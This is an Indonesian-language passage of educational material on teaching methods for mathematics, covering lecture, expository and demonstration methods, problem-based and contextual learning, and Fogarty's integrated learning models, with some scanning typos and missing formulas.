Tujuan dari penyajian bermacam – macam metode mengajar dan aplikasinya dalam pengajaran matematika ialah agar kita, guru, memiliki pengetahuan yang luas tentang metode – metode dan memiliki ketrampilan untuk menerapkannya, khususnya dalam pengajaran matematika. Mengetahui keunggulan dan kelemahan dari tiap – tiap metode sangat penting agar kita dapat menerapkan metode itu dengan tepat, sehingga tujuan instruksional kita dapat dicapai secara optimal.

Metode – metode mengajar yang akan diterapkan ialah : ceramah, ekspositori, latihan hafal (drill), latihan praktek (practice), tanya -jawab, demonstrasi, diskusi panel, “fish bowl”, seminar dan lain – lain), kegiatan lapangan, laboratorium, permainan, karyawisata, penemuan, inkuiri, pemecahan masalah, pemberian tugas, dan metode proyek. Selain itu akan ada metode mengajar lain yang tidak akan dibahas dalam buku ini karena penerapannya dalam pengajaran matematika lebih sukar misalnya sosiodrama, psikodrama, dan bermain peran. Jadi ketiga metode mengajar terakhir sukar untuk dijadikan tehnik mengajar dalam pengajaran matematika.
tanpa keterlibatan metode lain, tapi saling melengkapi. Pada metode ekspositori ada penemuannya, pada metode penemuan ada ceramahnya, dan sebagainya.
1. Ceramah
Ceramah adalah suatu cara penyampaian memberikan informasi secara lisan kepada sejumlah pendengar di dalam ruangan di mana pendengar melakukan pencatatan seperlunya. Pada metode ini yang banyak bicara adalah pembicara. Interaksi terjadi antara penceramah dan pendengar. Komunikasi pada umumnya hanya satu arah, dari pembicara ke pendengar. Bila yang bicara itu dosen dan pendengarnya mahasiswa, metode ceramah ini disebut juga metode kuliah.
Ceramah adalah metode adalah metode mengajar yagn pada masa kini dan masa lampau banyak dipergunakan, terutama pada bidang non eksakta. Mungkin karena dianggap paling praktis, karena metode lain yang belum dikenal.
Orang yang tidak senang mengkritik cara ini dan mengatakan bahwa ceramah itu :
1) Adalah anakronisme (sesuatu yang menyalai zaman) sejak ditemukannya percetaakan; Dalam kenyataannya metode – metode itu tidak merupakan metode murni, maksudnya dapat berdiri sendiri
2) Menyebabkan belajar hanya menghafal (rote learning) yang tidak menyebabkan timbulnya pengertian (makna) pada siswa ;
3) Menyebabkan siswa pasif ; siswa hanya aktif untuk membuat catatan saja ;
4) Pertimbangan bahwa materi yang diajarkan itu baik hanya menurut pertimbangan pengajar ;
5) Menyebabkan materi yang diceramahkan lekas terlupakan (Gage dan Berliner, 1975, h – 466).
Tetapi orang – orang yang menyetujui cara ceramah untuk dipakai, memberikan jawaban kira – kira sebagai berikut :
1) Dahulu cara ceramah itu dikatakan berguna, tetapi sekarang setelah orang – orang dapat membaca dan banyak sumber bacaannya, mengganggap cara ceramah itu tidak perlu lagi. Sebenarnya siswa harus dibiasakan memperoleh pengetahuan melalui ceramah, sebab pada ceramah umumnya bila ia tidak mampu mencatat butiran penting satu saja, maka ia akan kehilangan butiran itu karena ia tidak memperoleh pengulangan ;
2) Tidak semua siswa dapat belajar melalui membaca;
3) Guru yang mengajar dengan cara ceramah dapai mengulangnya kalau perlu dengan kata-kata Iain, sedangkao buku pelajaran tidak ;
4) Cara ceramah dapat meramu masalah kompleks terutama
mengenai masalah-masalah baru, sedangkan buku pelajaran
tidak;
5) Cara ceramah dapat dipakai untuk merangkum permasalahan
yang banyak yang terdapat dalam berbagai sumber;
6) Cara ceramah dapat dipergunakan bila materi yang disajikan
itu bagi siswa adalah baru, sedangkan materi tertulisnya belum ada / banyak,
7) Cara ceramah dapat memberikan kesempatan setiap saat ke¬
pada guru untuk merangkum, mengeritik, atau memberikan
komentar terhadap pendapat orang lain;
8) Cara ceramah dapat menyajikan materi menjadi menarik,
menimbulkan minat dan kesenangan kepada siswa daripada
materi tercatat setiap saat diperlukan;
9) Cara ceramah dapat membuat pengajaran berencana, teratur,
disiapkan dengan baik daripada perumusan hasil diskusi siswa;
10) Cara ceramah relatif lebih murah karena dapat memuat lebih banyak siswa dalam satu kelas per guru;
11) Cara reramah lebih fleksibel (dapat disesuaikan) dilihat dari
segi waktu, tempat, siswa (pendengar), perlengkapan, kegiatan siswa, dibandingkan dengan cara lain misalnya materi tercetak, diskusi;
12) Cara ceramah dapat berjaian tanpa memperhatikan banyaknya siswa dibandingkan dengan materi bacapn sendiri (peng¬
ajaran terprogram misalnya). Bila dalam pengajaran terprogram kekurangan sebuah buku saja maka pengajaran itu,
khususnya bagi seorang anak, tidak dapat berjaian;
13) Cara ceramah dapat meningkatkan penguatan bagi siswa;
keuntungan ini tidak dimiliki oleh beberapa cara niengajar
lain, misalnya materi tertulis;
14) Cara ceramah, dibandingkan dengan cara belajar sendiri, da¬
pat dipakai guru untuk melihat apakah siswa berpartisipasi
akiif, mengerti permasalahannya atau tidak.
Di samping keunggulan cara ceramah menurut pendukung-nya, menurut penelitian Dubin dan Taveggia (1968) dalam buku yang sama seperti tersebut di atas halaman 465 dalam mem-bandingkan hasil belajar (dalam tentamen) yang diperoleh melalui ceramah dibandingkan dengan yang diperoleh dengan cara-cara lain, khususnya dengan metode diskusv; menyimpulkan bahwa cara ceramah dan cara diskusi di perguruan tinggi sama-sama efektif bila yang dilihat ialah hasil akhirnya dari tentamen.
Mengingat kelemahan dan keunggulan metode ini dan meng-ingat pula hakekat matematika sebagai ilmu yang hanya dapat difahami melalui prasyarat, kita sebagai pemakai metode ceramah perlu memperhatikan:
a. Metode ceramah perlu dipergunakan bila;
(1) bertujuan memberikan informasi;
(2) materi yang disajikan belum terdapat pada sumber-sumber
lain;
(3) materi yang disajikan telah disesuaikan dan direncanakan
dengan cara khusus sesuai dengan kemampuan kelompolj
yang akan menerimanya;
(4) materinya menarik atau dibuat menarik;
(5) setelah selesai ceramah diadakan cara lain untuk pengendapan yang diperolehnya agar tahan lama.
b. Metode ceramah tidak dipergunakan bila:
(1) tujuan instruksionalnya bukan hanya sekedai memberikan
informasi, tetapi ada tujuan lainnya misalnya membentuk
manusia kreatif, mencapai. tujuan kognitif yang lebih tinggi;
(2) ingatan yang tahan lama diperlukan;
(3) untuk mencapai tujuan pengajaran diperlukan partisipasi aktif dari siswa;
(4) kemampuan kelompok (siswa) rendah.
2. Ekspositori
Kita baru saja raembicarakan metode ceramah, seperti kita ketahui pada metode ceramah ini pusat pengajarnya terletak pada guru; guru yang banyak bicara menyampaikan materi pelajaran (informasi), sedangkan pekerjaan murid pada umumnya mencatat dan sebagian kecil bertanya.
Metode lain yang akan dibahas di sini ialah metode ekspositori. Sering metode ekspositori ini disamakan dengan metode ceramah atau kuliah karena sama-sama sifatnya memberikan informasi; pengajaran berpusatkan kepada guru. Di sini saya bedakan metode ekspositori dari metode ceramah mengingat dominasi guru pada metode ekspositori ini banyak dikurangi. Guru tidak terus bicara, ECakah siswa atau mahasiswa itu mengerti atau tidak, tetapi guru memberikan informasi hanya pada saat-saat atau bagian-bagian yangdiperlukan; misalnya pada permulaan pengajaran, pada topik yang baru, pada waktu memberikan contoh-contoh soal dan seba-gainya. Karena itu dilihat dari terpusatnya kepada guru, metode lebih murni dari metode ekspositori.
Pada metode ini, setelah guru beberapa saat memberikan informasi (ceramah) guru mulai dengan menerangkan suatu konsep mendemonstrasikan keterampilannya mengenai pola / aturan / dalil tentang konsep itu, siswa bertanya, guru memeriksa (mengecek) apakah siswa sudah mengerti atau belum. Kegiatan selanjutnya ialah guru memberikan contoh-contoh soal aplikasi konsep selanjutnya merninta murid untuk menyelesaikan soal-soal di papan tulis atau di mejanya. Siswa mungkin bekerja individual atau bekerja sama dengan teman yang duduk di sampingnya, dan sedikit ada tanya jawab. Dan kegiatan terakhir ialah siswa menca-ut materi yang telah diterangkan yang mungkin dilengkapi de¬ngan soal-soal pekerjaan rumah.
Jadi metode ekspositori ini sama dengan cara mengajar yang biasa (tradisional) kita pakai pada pengajaran matematika.
Dalam buku "Teaching and Learning Mathematics" oleh F.H. Bell, Wm. C. Brown Co Pub. USA, 1978, menurut beberapa penelitian dan keyakinan ahli teori belajar-mengajar cara ekspositori ini merupakan cara mengajar yang paling efektif dan efisien. Mi-wlnya David P. Ausube! berpendapat bahwa metode ekspositori vang baik adalah cara mengajar yang paling efektif dan efisien dalam menanamkan belajar bennakna (meaningful) (halaman 130 - 132). SMSG melalui penelitian sendiri dan ulasannya ter-hadap peneiitian lain mengatakan bahwa tidak ada metode yang bukan metode ekspositori menunjukkan lebih efektif, kecuali metode ekspositori (buku yang sama halaman 203). Jadi bila me¬tode ekspositori ini dipergunakan sebagaimana mestinya dan se-suai dengan situasi dan kondisinya maka akan menjadi metode yang paling efektif. Ini tidak berarti bahwa metode itu bila diper¬gunakan untuk semua topik matematika, untuk semua kelas dan dalam situasi dan kondisi apapun, akan menjadi metode terbaik.
Sebelum kita pindah membahas metode Iain kita perdalam sediktt pendapat David P. Ausubel yang ada kaitannya dengan metode ekspositori ini.
Pada tahun lima puluhan banyak pendidik matematika berpendapat bahwa metode ekspositori (ceramah) itu hanya menyebabkan siswa belajar menghafal yang tidak banyak makna (tanpa banyak mengerti). Karena pengajaran matematika (modern) meng utamakan antara lain kepada pengertian daripada kepada caranvil menyelesaikan soal, maka pada tahun enampuiuhan metode itu diganti sebagian oleh metode baru misalnya dengar. laboratorium i penemuan, dan permainan.
Tetapi D.P. Ausubel percaya bahwa cara ekspositori (ceramah) itu tidak sejelek seperti yang dituduhkan orang. Malahan sebaliknya ia percaya bahwa cara ceramah itu merupakan cara mengajar yang paling efektif dan efisien yang dapat menyebabkan siswa belajar secara bermakna. Sebaiknya. metode baru se¬perti laboratorium, penemuan, permainan dan semacamnya itu : dapat menyebabkan pengajaran tidak efektif, tidak efisien, dan bila tidak hati-hati dapat ngawur. Karena itu ia berperdapat cara-cara ini supaya jarang dipakai. Meskipun demikian ia menyetujui pengajaran yang menggunakan metode: pemecahan masalah, inkuiri, dan metode belajar yang dapat menumbuhkan berfikir kreatif dan kritis; mengajarkan materi yang berguna bagi menghadapi kehidupan, peningkatan kebudayaan dan keterampilan dasar pada umumnya.
Ausubel membedakan:
(a) belajar menerima (reception learning), materi yang disajikan
kepada siswa ada dalam bentuk akhir; d/n
(b) belajar menemukan (discovery learning): pola, dalil atau
aturan harus ditemukan siswa.
Juga ia membedakan antara:
(a) belajar menghafal (rote learning), dan
(b) belajar dengan bermakna (meaningful learning): disini yang
diutamakan prosesnya, hasilnya nomor dua.
Belajar menerima maupun menemukan sama-sama dapat berupa belajar menghafal atau bermakna. Misalnya dalam mem-pelajari konsep dalil Pythagoras tentang segitiga siku-siku, mung-kin bentuk terakhir c2 = b2 + a2 sudah disajikan (belajar mene¬rima), tetapi siswa memahami rumus itu selalu dikaitkan dengan sisi-sisi sebuah segitiga siku-siku ; jadi ia belajar secara bermakna. Siswa lain memahami rumusc2 = b2 + a2 dari pencarian (belajar menemukan), tetapi bila kemudian ia menghafalkan c2 = a2 + b2 tanpa dikaitkan dengan sisi-sisi sebuah segitiga siku-siku, maka jadinya ia belajar menghafal.
Contoh lain misalnya sebagai berikut :
Seorang siswa belajar menerima (reception learning) bahwa , tetapi kemudian ia tidak menghafalkan mentah-mentah rumus itu melainkan berfikir : itu sama dengan kemudian mengubahnya menjadi ; jadi ia belajar secara bermakna. Siswa lain yang belajar menemukan bahwa dan kemudian menghafalkannya, akhirnya ia belajar menghafal (rote learning).
Ini tidak berarti bahwa metode ekspositori ini merupakan iatu-satunya metode baik, banyak metode lain yang baik. Setiap metode mengajar akan menjadi metode mengajar yang Iebih baik bila ditepatgunakan. Seperti dikatakan oleh Mc. Keachie bahwa dibandingkan dengan metode diskusi, metode ceramah (eksposi¬tori) ini memiliki kelemahan; metode diskusi Iebih baik dalam hal menumbuhkan sifat positif terhadap materi yang diajarkan {"School Learning" halaman 462, oleh Ausubel dan Robinson, Holt Rinehart & Winston, London 1973).
3. Demonstrasi
Metode demonstrasi masih satu keluarga dengan metode ekspontori yaitu metode yang berpusatkan pada guru atau didominasi guru. Hanya bedanya dengan metode ekspositori metode demonstrasi ini Iebih banyak melibatkan siswa.
Selain daripada iebih dapat melibatkan siswa metode ini mengandung unsur penonjolan kebolehan pengajar. misalnya mendemonstrasikan membuktikan dalil, mencari rumus, dan memecahkan soa! ceritera.
Pada institusi pendidikan guru seperti IKIP dan SPG metode ini Iebih banyak dipergunakan daripada di institusi pendidikan bukan guru, sebab pada institusi pendidikan guru bukan saja guru (dosen) harus mampu mendemonstrasikan bagaimana cara mengajar, bertanya, menjawab pertanyaan, memimpin diskusi, menulis di papan tulis, membuat persiapan mengaja: mengguna-kan kalkulator, menggunakan alat peraga dan Iain-Iain. Siswanya pun (calon guru) harus dapat berbuat demikian, sebab dikemudian hari mereka akan menjadi guru. Pada saat guru memberikan demonstrasi calon guru dapat mengajukan pertanyaan lang-sung. Kemudian ia dapat mencoba sendiri menini demonstrasi yang telah dicontohkan oleh gurunya, misalnya dengan simulasi, (bermain pura-pura), mengajar teman (peer teaching), bermain peran (role playing), dan praktek mengajar. Dengac mencoba sendiri ia akan memperoleh banyak pengalaman.
Seorang guru atau calon guru dalam mendemonstrasikan sesuatu itu, misalnya bagaimana sebaiknya berdiri di depan kelas, dalam persiapannya ia harus berbuat seperti kalau ia akan meng¬ajar. Selain harus memilih strategi beiajar-mengajar.
(1) merumuskan TIK;
(2) membuat alat evaluasi;
(3) memiliii topik;
(4) memilih alat peraga / pengajaran;
(5) menentukan waktu (lamanya);
(6) melakukan langkah-langkah mengajar;
(7) melakukan evaluasinya.
Kegiatan yang penting kita lakukan setelah selesainya suatu demonstrasi ialah diskusi tentang demonstrasi yang bam saja dila¬kukan, baik yang telah dilakukan guru maupun oleh calon guru.
Pada waktu mengomentari hasil demonstrasi seseorang ka-dang-kadang terjadi perbedaan pendapat. Menurut pengamat tertentu ia melakukan tindakan atau mengucapkan sesuatu yang keliru, sedangkan menurut yang berkepentingan tidak. Karena itu alangkah baiknya kalau dalam kegiatan semacam itu dibuat rekamannya (rekaman suara dan gambar). Alat rekaman ini selain menjadi alat pelerai. Juga dapat dipergunakan oleh calon guru untuk peningkatan kemampuannya.


C. Strategi Pembelajaran Pendekatan Masalah
1. Metode Pembelajaran Pemecahan Masalah ( Problem Based Learning)
Belajar Berdasarkan Masalah atau Problem Based Learning adalah Suatu proses pembelajaran yang diawali dari masalah-masalah yang ditemukan dalam suatu lingkungan pekerjaan.Problem Based Learning (PBL) adalah lingkungan belajar yang di dalamnya menggunakan masalah untuk belajar. Yaitu, sebelum pebelajar mempelajari suatu hal, mereka diharuskan mengidentifikasi suatu masalah, baik yang dihadapi secara nyata maupun telaah kasus. Masalah diajukan sedemikian rupa sehingga para pebelajar menemukan kebutuhan belajar yang diperlukan agar mereka dapat memecahkan masalah tersebut.
Bahan pembelajaran ini akan memandu para pengguna/pebelajar mulai dari memahami konsep PBL, langkah -langkah PBL, sampai menerapkan metode PBL dalam team work di tempat kerja.Penerapan metode PBL merupakan suatu bentuk implementasi team learning dan personal mastery menuju suatu organisasi pembelajar.
2. Metode Pembelajaran Kontekstual atau Contextual Teaching and Learning (CTL)
Sampai saat ini, pendidikan di Indonesia masih didominasi oleh kelas yang berfokus pada guru sebagai utama pengetahuan, sehingga ceramah akan menjadi pilihan utama dalam menentukan strategi belajar. Sehingga sering mengabaikan pengetahuan awal siswa.Untuk itu diperlukan suatau pendekatan belajar yang memberdayakan siswa. Salah satu pendekatan yang memberdayakan siswa dalah pendekatan kontekstual (CTL).
CTL dikembangkan oleh The Washington State Concortium for Contextual Teaching and Learning, yang melibatkan 11 perguruan tinggi, 20 sekolah dan lembaga-lembaga yang bergerak dalam dunai pendidikan di Amerika Serikat. Salah satu kegiatannya adalah melatih dan memberi kesempatan kepada guru-guru dari enam propinsi di Indonesia untuk belajar pendekatan kontekstual di Amerika Serikat, melalui Direktorat SLTP Depdiknas
Pendekatan Kontekstual atau Contextual Teaching and Learning (CTL) merupakan konsep belajar yang membantu guru mengaitkan antara materi yang diajarkan dengan situasi dunia nyata siswa dan mendorong siswa membuat hubungan antara pengetahuan yang dimilikinya dengan penerapannya dalam kehidupan mereka sebagai anggota keluarga dan masyarakat (US Departement of Education, 2001). Dalam konteks ini siswa perlu mengerti apa makna belajar, manfaatnya, dalam status apa mereka dan bagaimana mencapainya. Dengan ini siswa akan menhadari bahwa apa yang mereka pelajari berguna sebagai hidupnya nanti. Sehingga, akan membuat mereka memposisikan sebagai diri sendiri yang memerlukan suatu bekal yang bermanfaat untuk hidupnya nanti dan siswa akan berusaha untuk meggapinya.
Tugas guru dalam pembelajaran kontekstual adalah membantu siswa dalam mencapai tujuannya. Maksudnya, guru lebih berurusan dengan trategi daripada memberi informasi. Guru hanya megelola kelas sebagai sebuah tim yang bekerja sama untuk menemukan suatu yang baru bagi siswa. Proses belajar mengajar lebih diwarnai Student centered daripada teacher centered. Menurut Depdiknas guru harus melaksanakan beberapa hal sebagai berikut:
1) Mengkaji konsep atau teori yang akan dipelajari oleh siswa
2) Memahami latar belakang dan pengalaman hidup siswa melalui proses pengkajian secara seksama
3) Mempelajari lingkungan sekolah dan tempat tinggal siswa yang selanjutnya memilih dan mengkaiykan dengan konsep atau teori yang akan dibahas dalam pembelajaran kontekstual
4) Merancang pengajaran dengan mengkaitkan konsep atau teori yang dipelajari dengan mempertimbangkan pengalaman yang dimiliki siswa dan lingkungan hidup mereka
5) Melaksanakan penilaian terhadap pemahaman siswa, dimana hasilnya nanti dijadikan bahan refeksi terhadap rencana pemebelajaran dan pelaksanaannya.
Dalam pengajaran kontekstual memungkinkan terjadinya lima bentuk belajar yang penting, yaitu mengaitkan (relating), mengalami (experiencing), menerapkan (applying), bekerjasama (cooperating) dan mentransfer (transferring).
a. Mengaitkan adalah strategi yang paling hebat dan merupakan inti konstruktivisme. Guru menggunakan strategi ini ketia ia mengkaitkan konsep baru dengan sesuatu yang sudah dikenal siswa. Jadi dengan demikian, mengaitkan apa yang sudah diketahui siswa dengan informasi baru.
b. Mengalami merupakan inti belajar kontekstual dimana mengaitkan berarti menghubungkan informasi baru dengan pengelaman maupun pengetahui sebelumnya. Belajar dapat terjadi lebih cepat ketika siswa dapat memanipulasi peralatan dan bahan serta melakukan bentuk-bentuk penelitian yang aktif.
c. Menerapkan. Siswa menerapkan suatu konsep ketika ia malakukan kegiatan pemecahan masalah. Guru dapet memotivasi siswa dengan memberikam latihan yang realistic dan relevan.
d. Kerjasama. Siswa yang bekerja secara individu sering tidak membantu kemajuan yang signifikan. Sebaliknya, siswa yang bekerja secara kelompok sering dapat mengatasi masalah yang komplek dengan sedikit bantuan. Pengalaman kerjasama tidak hanya membanti siswa mempelajari bahan ajar, tetapi konsisten dengan dunia nyata.
e. Mentransfer. Peran guru membuat bermacam-macam pengelaman belajar dengan focus pada pemahaman bukan hafalan.
Menurut Blanchard, ciri-ciri kontekstual :
1) Menekankan pada pentingnya pemecahan masalah.
2) Kegiatan belajar dilakukan dalam berbagai konteks
3) Kegiatan belajar dipantau dan diarahkan agar siswa dapat belajar mandiri
4) Mendorong siswa untuk belajar dengan temannya dalam kelompok atau secara mandiri
5) Pelajaran menekankan pada konteks kehidupan siswa yang berbeda-beda.
6) Menggunakan penilaian otentik
Menurut Depdiknas untuk penerapannya, pendekatan kontektual (CTL) memiliki tujuan komponen utama, yaitu konstruktivisme (constructivism), menemukan (Inquiry), bertanya (Questioning), masyarakat-belajar (Learning Community), pemodelan (modeling), refleksi (reflection), dan penilaian yang sebenarnya (Authentic). Adapaun tujuh komponen tersebut sebagai berikut:
a. Konstruktivisme (constructivism)
Kontruktivisme merupakan landasan berpikir CTL, yang menekankan bahwa belajar tidak hanya sekedar menghafal, mengingat pengetahuan tetapi merupakan suatu proses belajar mengajar dimana siswa sendiri aktif secara mental mebangun pengetahuannya, yang dilandasi oleh struktur pengetahuanyang dimilikinya.
b. Menemukan (Inquiry)
Menemukan merupakan bagaian inti dari kegiatan pembelajaran berbasis kontekstual Karena pengetahuan dan keterampilan yang diperoleh siswa diharapkan bukan hasil mengingat seperangkat fakta-fakta tetapi hasil dari menemukan sendiri. Kegiatan menemukan (inquiry) merupakan sebuah siklus yang terdiri dari observasi (observation), bertanya (questioning), mengajukan dugaan (hiphotesis), pengumpulan data (data gathering), penyimpulan (conclusion).
c. Bertanya (Questioning)
Pengetahuan yang dimiliki seseorang selalu dimulai dari bertanya. Bertanya merupakan strategi utama pembelajaan berbasis kontekstual. Kegiatan bertanya berguna untuk :
 menggali informasi
 menggali pemahaman siswa
 membangkitkan respon kepada siswa
 mengetahui sejauh mana keingintahuan siswa
 mengetahui hal-hal yang sudah diketahui siswa
 memfokuskan perhatian pada sesuatu yang dikehendaki guru
 membangkitkan lebih banyak lagi pertanyaan dari siswa, untuk menyegarkan kembali pengetahuan siswa.
d. Masyarakat Belajar (Learning Community)
Konsep masyarakat belajar menyarankan hasil pembelajaran diperoleh dari hasil kerjasama dari orang lain. Hasil belajar diperolah dari ‘sharing’ antar teman, antar kelompok, dan antar yang tau ke yang belum tau. Masyarakat belajar tejadi apabila ada komunikasi dua arah, dua kelompok atau lebih yang terlibat dalam komunikasi pembelajaran saling belajar.
e. Pemodelan (Modeling)
Pemodelan pada dasarnya membahasakan yang dipikirkan, mendemonstrasi bagaimana guru menginginkan siswanya untuk belajar dan malakukan apa yang guru inginkan agar siswanya melakukan. Dalam pembelajaran kontekstual, guru bukan satu-satunya model. Model dapat dirancang dengan ,elibatkan siswa dan juga mendatangkan dari luar.
f. Refleksi (Reflection)
Refleksi merupakan cara berpikir atau respon tentang apa yang baru dipelajari aau berpikir kebelakang tentang apa yang sudah dilakukan dimasa lalu. Realisasinya dalam pembelajaran, guru menyisakan waktu sejenak agar siswa melakukan refleksi yang berupa pernyataan langsung tentang apa yang diperoleh hari itu.
g. Penilaian yang sebenarnya ( Authentic Assessment)
Penialaian adalah proses pengumpulan berbagai data yang bisa memberi gambaran mengenai perkembangan belajar siswa. Dalam pembelajaran berbasis CTL, gambaran perkembangan belajar siswa perlu diketahui guru agar bisa memastikan bahwa siswa mengalami pembelajaran yang benar. Fokus penilaian adalah pada penyelesaian tugas yang relevan dan kontekstual serta penilaian dilakukan terhadap proses maupun hasil.
Penerapan CTL dalam pembelajaran
1. Kembangkan pemikiran bahwa anak akan belajar lebih bermakna dengan cara bekerja sendiri, menemukan sendiri dan mengkonstruksi sendiri pengetahuan dan ketrampilan baru.
2. Lakukan sejauh mungkin kegiatan inkuiri untuk semua topik.
3. Kembangkan sifat keingin tahuan siswa dengan cara bertanya.
4. Ciptakan masyarakat belajar (belajar dalam kelompok-kelompok).
5. Hadirkan model sebagai contoh dalam pembelajaran.
6. Lakukan refleksi pada akhir pertemuan.
7. Lakukan penilaian otentik yang betul-betul menunjukkan kemampuan siswa.
3. Model Pembelajaran Terpadu
Beberapa pengertian dari pembelajaran terpadu yang dikemukakan oleh beberapa orang pakar pembelajaran terpadu diantaranya :
1) Menurut Cohen dan Manion (1992) dan Brand (1991), terdapat tiga kemungkinan variasi pembelajaran terpadu yang berkenaan dengan pendidikan yang dilaksanakan dalam suasana pendidikan progresif yaitu kurikulum terpadu (integrated curriculum), hari terpadu (integrated day), dan pembelajaran terpadu (integrated learning). Kurikulum terpadu adalah kegiatan menata keterpaduan berbagai materi mata pelajaran melalui suatu tema lintas bidang membentuk suatu keseluruhan yang bermakna sehingga batas antara berbagai bidang studi tidaklah ketat atau boleh dikatakan tidak ada. Hari terpadu berupa perancangan kegiatan siswa dari sesuatu kelas pada hari tertentu untuk mempelajari atau mengerjakan berbagai kegiatan sesuai dengan minat mereka. Sementara itu, pembelajaran terpadu menunjuk pada kegiatan belajar yang terorganisasikan secara lebih terstruktur yang bertolak pada tema-tema tertentu atau pelajaran tertentu sebagai titik pusatnya (center core / center of interest)m
2) Menurut Prabowo (2000 : 2), pembelajaran terpadu adalah suatu proses pembelajaran dengan melibatkan / mengkaitkan berbagai bidang studi. Dan ada dua pengertian yang perlu dikemukakan untuk menghilangkan kerancuan dari pengertian pembelajaran terpadu di atas, yaitu konsep pembelajaran terpadu dan IPA terpadu. Menurut Prabowo (2000:2), pembelajaran terpadu merupakan pendekatan belajar mengajar yang melibatkan beberapa bidang studi. Pendekatan belajar mengajar seperti ini diharapkan akan dapat memberikan pengalaman yang bermakna kepada anak didik kita. Arti bermakna disini dikarenakan dalam pembelajaran terpadu diharapkan anak akan memperoleh pemahaman terhadap konsep-konsep yang mereka pelajari dengan melalui pengalaman langsung dan menghubungkannya dengan konsep lain yang sudah mereka pahami. Pembelajaran terpadu merupakan pendekatan belajar mengajar yang memperhatikan dan menyesuaikan dengan tingkat perkembangan anak didik (Developmentally Appropriate Practical). Pendekatan yang berangkat dari teori pembelajaran yang menolak drill-system sebagai dasar pembentukan pengetahuan dan struktur intelektual anak.
Langkah awal dalam melaksanakan pembelajaran terpadu adalah pemilihan/ pengembangan topik atau tema. Dalam langkah awal ini guru mengajak anak didiknya untuk bersama-sama memilih dan mengembangkan topik atau tema tersebut. Dengan demikian anak didik terlibat aktif dalam proses pembelajaran dan pembuatan keputusan. Pembelajaran dengan menggunakan pendekatan terpadu ini diharapkan akan dapat memperbaiki kualitas pendidikan dasar, terutama untuk mencegah gejala penjejalan kurikulum dalam proses pembelajaran di sekolah. Dampak negatif dari penjejalan kurikulum akan berakibat buruk terhadap perkembangan anak. Hal tersebut terlihat dengan dituntutnya anak untuk mengerjakan berbagai tugas yang melebihi kapasitas dan kebutuhan mereka. Mereka kurang mendapat kesempatan untuk belajar, untuk membaca dan sebagainya. Disamping itu mereka akan kehilangan pengalaman pembelajaran alamiah langsung, pengalaman sensorik dari dunia mereka yang akan membentuk dasar kemampuan pembelajaran abstrak (Prabowo, 2000:3). Pembelajaran terpadu sebagai suatu proses mempunyai beberapa ciri yaitu : berpusat pada anak (student centered), proses pembelajaran mengutamakan pemberian pengalaman langsung, serta pemisahan antar bidang studi tidak terlihat jelas. Di samping itu pembelajaran terpadu menyajikan konsep dari berbagai bidang studi dalam satu proses pembelajaran. Kecuali mempunyai sifat luwes, pembelajaran terpadu juga memberikan hasil yang dapat berkembang sesuai dengan minat dan kebutuhan anak.
Pembelajaran terpadu memiliki kelebihan (Depdikbud, 1996) sebagai berikut :
1. Pengalaman dan kegiatan belajar anak relevan dengan tingkat perkembangannya
2. Kegiatan yang dipilih sesuai dengan minat dan kebutuhan anak
3. Kegiatan belajar bermakna bagi anak, sehingga hasilnya dapat bertahan lama
4. Keterampilan berpikir anak berkembang dalam proses pembelajaran terpadu
5. Kegiatan belajar mengajar bersifat pragmatis sesuai dengan lingkungan anak
Keterampilan sosial anak berkembang dalam proses pembelajaran terpadu. Keterampilan sosial ini antara lain adalah : kerja sama, komunikasi, dan mau mendengarkan pendapat orang lain.
Adapun model-model pembelajaran terpadu sebagaimana yang dikemukakan oleh Fogarty, R (1991 : 61– 65) yaitu sebanyak sepuluh model pembelajaran terpadu. Kesepuluh model pembelajaran terpadu tersebut adalah :
1. the fragmented model ( Model Fragmen )
2. the connected model ( Model Terhubung )
3. the nested model ( Model Tersarang )
4. the sequenced model ( Model Terurut )
5. the shared model ( Model Terbagi )
6. the webbed model ( Model Jaring Laba-Laba )
7. the threaded model ( Model Pasang Benang )
8. the integrated model ( Model Integrasi )
9. the immersed model ( Model Terbenam ), dan
10. the networked model ( Model Jaringan )
Dari 10 model pembelajaran terpadu di atas, hanya 3 model yang akan dibahas disini, yaitu the connected model, the webbed model, dan the integrated model.
a. Model Terhubung (The Connected Model)

Model terhubung (the connected model), karena model terhubung ini penekanannya terletak pada perlu adanya integrasi inter bidang studi itu sendiri. Selain itu, Model terhubung ini juga secara nyata menghubungkan satu konsep dengan konsep lain, satu topik dengan topik lain, satu keterampilan dengan keterampilan lain, tugas yang dilakukan dalam satu hari dengan tugas yang dilakukan pada hari berikutnya, serta ide-ide yang dipelajari pada satu semester dengan semester berikutnya. Pemanfaatan penerapan model terhubung (connected) ini sangat relevan dengan konsep Cahaya (dalam fisika) dan konsep Sistem Indera pada manusia (dalam biologi), agar dapat terwujud pemampatan/ pengurangan waktu dalam pembelajaran pada konsep-konsep tersebut (Reduce Instructional Time). Hal ini terkait dengan upaya menghindari terjadinya penjejalan kurikulum dalam proses pembelajaran, sebagai akibat dari mengejar target kurikulum.

Langkah-langkah yang ditempuh dalam model pembelajaran keterhubungan sebagai berikut :
a) Guru menentukan tema-tema yang dipilih dari silabus,
b) Guru mencari tema yang hampir sama/relevan dengan tema-tema yang lain,
c) Tema-tema tersebut diorganisasikan pada tema induk,
d) Guru menjelaskan materi yang terdiri dari beberapa tema di atas,
e) Guru mengadakan tanya jawab tentang materi yang diajarkan,
f) Dengan bimbingan guru siswa membentuk kelompok kecil,
g) Dengan bimbingan guru pula siswa diminta untuk mengerjakan pertanyaan yang telah disiapkan dan mengerjakan tugas kelompok dari guru,
h) Guru memberikan kesimpulan, penegasan, evaluasi secara tertulis dan sebagai tindak lanjut guru menugaskan pada siswa untuk menyusun portofolio dan dikumpulkan minggu depan.
Beberapa kelebihan dari model terhubung (connected) adalah sebagai berikut :

a. Dampak positif dari mengaitkan ide-ide dalam satu bidang studi adalah siswa memperoleh gambaran yang luas sebagaimana suatu bidang studi yang terfokus pada suatu aspek tertentu.
b. Siswa dapat mengembangkan konsep-konsep kunci secara terus menerus, sehingga terjadilah proses internalisasi.
c. Menghubungkan ide-ide dalam suatu bidang studi sangat memungkinkan bagi siswa untuk mengkaji, mengkonseptualisasi, memperbaiki, serta mengasimilasi ide-ide secara terus menerus sehingga memudahkan untuk terjadinya proses transfer ide-ide dalam memecahkan masalah.
Di samping mempunyai kelebihan, model terhubung ini juga mempunyai kekurangan, yaitu sebagai berikut :

a) Masih kelihatan terpisahnya antar bidang studi,
b) Tidak mendorong guru untuk bekerja secara tim, sehingga isi dari pelajaran tetap saja terfokus tanpa merentangkan konsep-konsep serta ide-ide antar bidang studi, dan
